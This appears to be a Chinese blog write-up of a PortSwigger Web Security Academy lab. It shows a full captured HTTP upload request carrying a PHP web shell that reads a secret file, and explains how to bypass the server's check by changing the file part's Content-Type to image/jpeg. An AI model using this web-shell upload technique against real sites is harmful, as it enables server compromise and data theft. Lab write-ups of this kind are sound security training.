Lab: Web shell upload via Content-Type restriction bypass
首先上传一个正常头像。

之后,上传木马文件,并抓包
POST /my-account/avatar HTTP/1.1
Host: ac4f1f7d1eaa6cd2c0d80622001b00f9.web-security-academy.net
Cookie: session=jk7evQVbgNhnuZ8OSROOByDS1epImo5L
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9366461823358637852847582934
Content-Length: 528
Origin: https://ac4f1f7d1eaa6cd2c0d80622001b00f9.web-security-academy.net
Referer: https://ac4f1f7d1eaa6cd2c0d80622001b00f9.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close -----------------------------9366461823358637852847582934
Content-Disposition: form-data; name="avatar"; filename="eval.php"
Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------9366461823358637852847582934
Content-Disposition: form-data; name="user" wiener
-----------------------------9366461823358637852847582934
Content-Disposition: form-data; name="csrf" zbmggAivgbQgkABY84GKZalPOKgfd9oY
-----------------------------9366461823358637852847582934--
将Content-Type: application/octet-stream修改为Content-Type: image/jpeg,之后发送
注意:这里只修改请求体中的Content-Type字段,并不需要修改请求头中的该字段

这样就上传成功了。
再刷新页面,加载头像时,进行抓包,将头像的文件名修改为我们上传的webshell文件,就能够利用成功。

Lab: Web shell upload via Content-Type restriction bypass的更多相关文章
- org.springframework.web.HttpMediaTypeNotSupportedException: Content type 'multipart/form-data;boundary=----WebKitFormBoundaryRAYPKeHKTYSNdzc1;charset=UTF-8' not supported
		
原文:https://www.cnblogs.com/yueli/p/7552888.html 最近同事在做一个图片上传功能.在入参 body 中同时传入文件和其它基本信息结果出现如题异常.在此记录下 ...
 - ajax使用向Spring MVC发送JSON数据出现 org.springframework.web.HttpMediaTypeNotSupportedException: Content type 'application/x-www-form-urlencoded;charset=UTF-8' not supported错误
		
ajax使用向Spring MVC发送JSON数据时,后端Controller在接受JSON数据时报org.springframework.web.HttpMediaTypeNotSupportedE ...
 - org.springframework.web.HttpMediaTypeNotSupportedException: Content type 'application/json;charset=UTF-8' not supported
		
最后找到我的问题,springmvc配置文件中没加 <mvc:annotation-driven/> java代码: @RequestMapping(value="/reques ...
 - org.springframework.web.HttpMediaTypeNotSupportedException: Content type 'application/json;charset=UTF-8' not supported或其他Content type不支持处理
		
很久没从头到尾搭框架,今天搭的过程中,springmvc controller方法入参用@RequestBody自动绑定参数时一直提示各种 not supported 排查问题有两个解决路径: 1)使 ...
 - SharePoint自动化系列——Add content type to list.
		
转载请注明出自天外归云的博客园:http://www.cnblogs.com/LanTianYou/ 将创建好的content type(若是跨web application需要事先publish c ...
 - SharePoint自动化系列——Content Type相关timer jobs一键执行
		
转载请注明出自天外归云的博客园:http://www.cnblogs.com/LanTianYou/ 背景: 在SharePoint Central Administration->Monito ...
 - 【Web Shell】- 技术剖析中国菜刀 - Part II
		
在第一部分,简单描述了中国菜刀的基本功能.本文我将剖析中国菜刀的平台多功能性.传输机制.交互模式和检测.我希望通过我的讲解,您能够根据您的环境检测出并清除它. 平台 那么中国菜刀可以在哪些平台上运行? ...
 - Java之POI读取Excel的Package should contain a content type part [M1.13]] with root cause异常问题解决
		
Java之POI读取Excel的Package should contain a content type part [M1.13]] with root cause异常问题解决 引言: 在Java中 ...
 - No content type provided for validation of a content model---WebLogic问题
		
一个web项目,复制到Weblogic domain下的autodeploy目录下,可是从BEA管理控制台中的Deployments下却找不到该项目,奇怪了,这个以前拷过来就可以用的啊?! 查看控制台 ...
 
随机推荐
- MySQL数据库安装Version5.7
			
MySQL数据库版本: mysql-5.7.22-linux-glibc2.12-x86_64 Linux服务器系统: CentOS 7.4 64bit MySQL安装用户: mysql/aliyun ...
 - Kylin开启Kerberos安全认证
			
Kylin开启Kerberos安全认证, 由于Kylin是依赖Hbase启动的, Kylin启动脚本kylin.sh中就是调用的Hbase的启动脚本, 所以当Hbase开启了Keberos之后就等于K ...
 - shell2-if判断
			
1.条件测试类型(判断类型): 将测试结果做为判断依据. 测试类型有以下三种 [ 命令 ] :命令测试法(最常用的) [[ 命令 ]] : 关键字测试 test 命令 以上是三种都可以,注意单词 ...
 - Sentry 企业级数据安全解决方案 - Relay 监控 & 指标收集
			
内容整理自官方文档 系列 Sentry 企业级数据安全解决方案 - Relay 入门 Sentry 企业级数据安全解决方案 - Relay 运行模式 Sentry 企业级数据安全解决方案 - Rela ...
 - 在实验中观察指针——C++ 函数参数的压栈顺序
			
前言 好久没写东西了,突发奇想,写写函数参数的压栈顺序 先看看这个问题 https://q.cnblogs.com/q/137133/ 然后看我简化的代码,猜输出结果是多少? #include< ...
 - 1.linux中的常用命令
			
本文积累工作中常用到的Linux命令 1. rz -be 文件上传到Linux服务器 此命令执行时,会弹出文件选择对话框,选择好需要上传的文件之后,点确定,就可以开始上传的过程了.上传的速度取决于当时 ...
 - docker的安装以及使用命令
			
docker的安装 安装docker https://docs.docker.com/install/linux/docker-ce/centos/#set-up-the-repository 从 2 ...
 - leetcode 986. 区间列表的交集
			
问题描述 给定两个由一些 闭区间 组成的列表,每个区间列表都是成对不相交的,并且已经排序. 返回这两个区间列表的交集. (形式上,闭区间 [a, b](其中 a <= b)表示实数 x 的集合, ...
 - 【vps】教你写一个属于自己的随机图API
			
[vps]教你写一个自己的随机图API 前言 刚刚开始使用halo博客的时候,我就发现halo博客系统是可以使用随机图当背景的,所以也是使用了网上一些比较火的随机图API. 在上次发现了各种图片API ...
 - unity3d录音
			
using System.Collections; using System.Collections.Generic; using UnityEngine; public class record : ...